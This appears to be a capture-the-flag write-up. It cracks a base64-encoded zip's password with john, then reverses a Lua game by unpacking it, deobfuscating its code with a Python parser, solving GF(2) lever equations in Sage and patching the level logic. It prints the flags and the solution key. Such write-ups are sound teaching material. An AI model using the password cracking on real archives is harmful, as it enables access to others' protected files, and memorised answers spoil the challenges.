{"bottle":"Now, tell me, ye scallywag, what fruit did that tree bear?", "treasure": "UEsDBDMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAAsAZmxhZy50eHQBmQcAAgBBRQMIAFhOyFF8J1TyG2doQcYvrgzortHSCGMNxMshPDobNzagEPb3jVJi8820aRecsizN1F01EToNfBXNYLUo7v4irZDLka8iLR9HfkY0xgT+GE/9MxamvgIZHDogalBLAQI/ADMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAC8AAAAAAAAAIAAAAAAAAABmbGFnLnR4dAoAIAAAAAAAAQAYAEVPEqsEh9sBAAAAAAAAAAAAAAAAAAAAAAGZBwACAEFFAwgAUEsFBgAAAAABAAEAZQAAAIsAAAAAAA=="}

Base64 decrypt to see its a zip then crack the passwords with john

~/john/run/zip2john xd.zip > hash.txt
john hash.txt

The password was banana and it gave us the flag CTF{1f8915fa52fbf862ba636d69f39427dd8aeb4a9e7b28afc5a36fd70d6db580ac}

world-of-flags: Rev

We receive a game, loading it with gdb we see it unpacks some values in /tmp

x

Copying the unpacked values and running binwalk on the new binary SuperGame we can see it contains the source code for the app.

levels.lua was heavily obfuscated with binary operation like bit.bxor(2448, 2532) and normal maths operation so I made a custom parser to decrypt

import re

def decode_addition(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a + b
    return str(result)
def decode_band(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a & b
    return str(result)
def decode_bor(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a | b
    return str(result)
def decode_lshift(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a << b
    return str(result)
def decode_multiplication(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a * b
    return str(result)
def decode_rshift(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a >> b
    return str(result)
def decode_subtraction(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a - b
    return str(result)
def decode_bxor(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a ^ b 
    return str(result)
def decode_lua_string_custom(s):
    s = s.strip('"')
    s = re.sub(r'\\x([0-9A-Fa-f]{2})', lambda m: chr(int(m.group(1), 16)), s)
    s = re.sub(r'\\(\d{1,3})', lambda m: chr(int(m.group(1), 10)), s)
    return s
def decode_concatenated_string(match):
    string_literals = re.findall(r'"((?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])+)"', match.group(0))
    decoded = ''.join(decode_lua_string_custom('"' + part + '"') for part in string_literals)
    return '"' + decoded + '"'
def decode_string_char(match):
    numbers_str = match.group(1)
    numbers = [int(x.strip()) for x in numbers_str.split(',') if x.strip()]
    decoded = ''.join(chr(num) for num in numbers)
    return '"' + decoded + '"'


with open('levels.lua', 'r') as infile:
    content = infile.read()

pattern_addition = re.compile(r'\(\s*(\d+)\s*\+\s*(\d+)\s*\)')
pattern_band = re.compile(r'bit\.band\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_bor = re.compile(r'bit\.bor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_lshift = re.compile(r'bit\.lshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_multiplication = re.compile(r'\(\s*(\d+)\s*\*\s*(\d+)\s*\)')
pattern_rshift = re.compile(r'bit\.rshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_subtraction = re.compile(r'\(\s*(\d+)\s*-\s*(\d+)\s*\)')
pattern_bxor = re.compile(r'bit\.bxor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_string_custom = re.compile(
    r'(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*")'
    r'(?:\s*\.\.\s*(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*"))+'
)
#pattern_string_char = re.compile(r'_G\["string"\]\["char"\]\(\s*([\d,\s]+)\s*\)')
for i in range(30):
    content = pattern_addition.sub(decode_addition, content)
    content = pattern_band.sub(decode_band, content)
    content = pattern_bor.sub(decode_bor, content)
    content = pattern_lshift.sub(decode_lshift, content)
    content = pattern_multiplication.sub(decode_multiplication, content)
    content = pattern_rshift.sub(decode_rshift, content)
    content = pattern_subtraction.sub(decode_subtraction, content)
    content = pattern_bxor.sub(decode_bxor, content)
    content = pattern_string_custom.sub(decode_concatenated_string, content)
    #content = pattern_string_char.sub(decode_string_char, content)

with open('output.lua', 'w') as outfile:
    outfile.write(content)

We could see that for level 3 it implemented a system of ecuations that added the binary values of some levers under GF(2) and checked that each output is 1, for example this was the first check

self.outputs[1] = ((self.levers[1].state and 1 or 0)+(self.levers[7].state and 1 or 0)+(self.levers[8].state and 1 or 0)+(self.levers[9].state and 1 or 0)+(self.levers[10].state and 1 or 0)+(self.levers[18].state and 1 or 0)+(self.levers[20].state and 1 or 0)+(self.levers[22].state and 1 or 0)+(self.levers[24].state and 1 or 0)+(self.levers[28].state and 1 or 0)+(self.levers[29].state and 1 or 0)+(self.levers[34].state and 1 or 0)+(self.levers[36].state and 1 or 0)+(self.levers[39].state and 1 or 0)+(self.levers[41].state and 1 or 0)+(self.levers[42].state and 1 or 0)+(self.levers[43].state and 1 or 0)+(self.levers[48].state and 1 or 0)+(self.levers[49].state and 1 or 0)+(self.levers[50].state and 1 or 0)+(self.levers[52].state and 1 or 0)+(self.levers[54].state and 1 or 0)+(self.levers[60].state and 1 or 0)+(self.levers[61].state and 1 or 0)+(self.levers[65].state and 1 or 0)+(self.levers[66].state and 1 or 0)+(self.levers[68].state and 1 or 0)+(self.levers[69].state and 1 or 0)+(self.levers[70].state and 1 or 0)+(self.levers[76].state and 1 or 0)+(self.levers[78].state and 1 or 0)+(self.levers[79].state and 1 or 0)+(self.levers[80].state and 1 or 0)+(self.levers[81].state and 1 or 0)+(self.levers[82].state and 1 or 0)+(self.levers[83].state and 1 or 0)+(self.levers[87].state and 1 or 0)+(self.levers[88].state and 1 or 0)+(self.levers[90].state and 1 or 0)+(self.levers[91].state and 1 or 0)+(self.levers[92].state and 1 or 0)+(self.levers[93].state and 1 or 0)+(self.levers[98].state and 1 or 0)+(self.levers[101].state and 1 or 0)+(self.levers[102].state and 1 or 0)+(self.levers[103].state and 1 or 0)+(self.levers[105].state and 1 or 0)+(self.levers[107].state and 1 or 0)+(self.levers[109].state and 1 or 0)+(self.levers[110].state and 1 or 0)+(self.levers[117].state and 1 or 0)+(self.levers[118].state and 1 or 0)+(self.levers[120].state and 1 or 0)+(self.levers[121].state and 1 or 0)+(self.levers[125].state and 1 or 0)+(self.levers[126].state and 1 or 0)+(self.levers[127].state and 1 or 0)+(self.levers[128].state and 1 or 0)) % 2

Since we are working under GF(2) we can easily solve this using solve_right from sagemath. Used the following script

#!/usr/bin/env sage -python
import re
from sage.all import GF, Matrix, vector

filename = "st2.txt"
output_pattern = re.compile(r"self\.outputs\[(\d+)\]\s*=")
lever_pattern = re.compile(r"self\.levers\[(\d+)\]\.state")
output_constraints = {}
with open(filename, "r") as f:
    for line in f:
        line = line.strip()
        if not line:
            continue
        out_match = output_pattern.search(line)
        output_index = int(out_match.group(1))
        lever_matches = lever_pattern.findall(line)
        lever_indices = [int(i) for i in lever_matches]
        output_constraints[output_index] = lever_indices


all_lever_indices = set()
for lever_list in output_constraints.values():
    all_lever_indices.update(lever_list)
all_lever_indices = sorted(all_lever_indices)


lever_to_col = {lever: idx for idx, lever in enumerate(all_lever_indices)}
num_eq = len(output_constraints)
num_vars = len(all_lever_indices)
F = GF(2)
rows = []
b = []
for eq in sorted(output_constraints.keys()):
    row = [0]*num_vars
    for lever in output_constraints[eq]:
        col = lever_to_col[lever]
        row[col] = 1
    rows.append(row)
    b.append(1)

A = Matrix(F, rows)
b_vec = vector(F, b)


try:
    sol = A.solve_right(b_vec)
    print("Solution found:")
    caca = []
    for lever, col in lever_to_col.items():
        print("lever {}: {}".format(lever, sol[col]))
        caca.append(sol[col])
    print(caca)
except Exception as e:
    print("No solution exists or error during solving:", e)

The key was [1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1]

Now since static decryption of the flag didn’t work for me I patched level 2 of the game in the source code so that the door appears instantly by making score appear instantly and setting required score to 1.

This was the original code (some segments cut off)

self.targetWizzards = 137


if wiz.dead then
    self.killedWizzards = self.killedWizzards + 1
    table.remove(self.wizzards, i)
    if self.killedWizzards >= self.targetWizzards then
        self.doorSpawned = (7200 == 7200)
        self.door.active = (4550 == 4550)
    end

And this was my patched code

self.targetWizzards = 0


self.killedWizzards = self.killedWizzards + 1
table.remove(self.wizzards, i)
if self.killedWizzards >= self.targetWizzards then
    self.doorSpawned = (7200 == 7200)
    self.door.active = (4550 == 4550)

Now I rebuilt the game using the love engine and placed in the key manually to receive the flag

x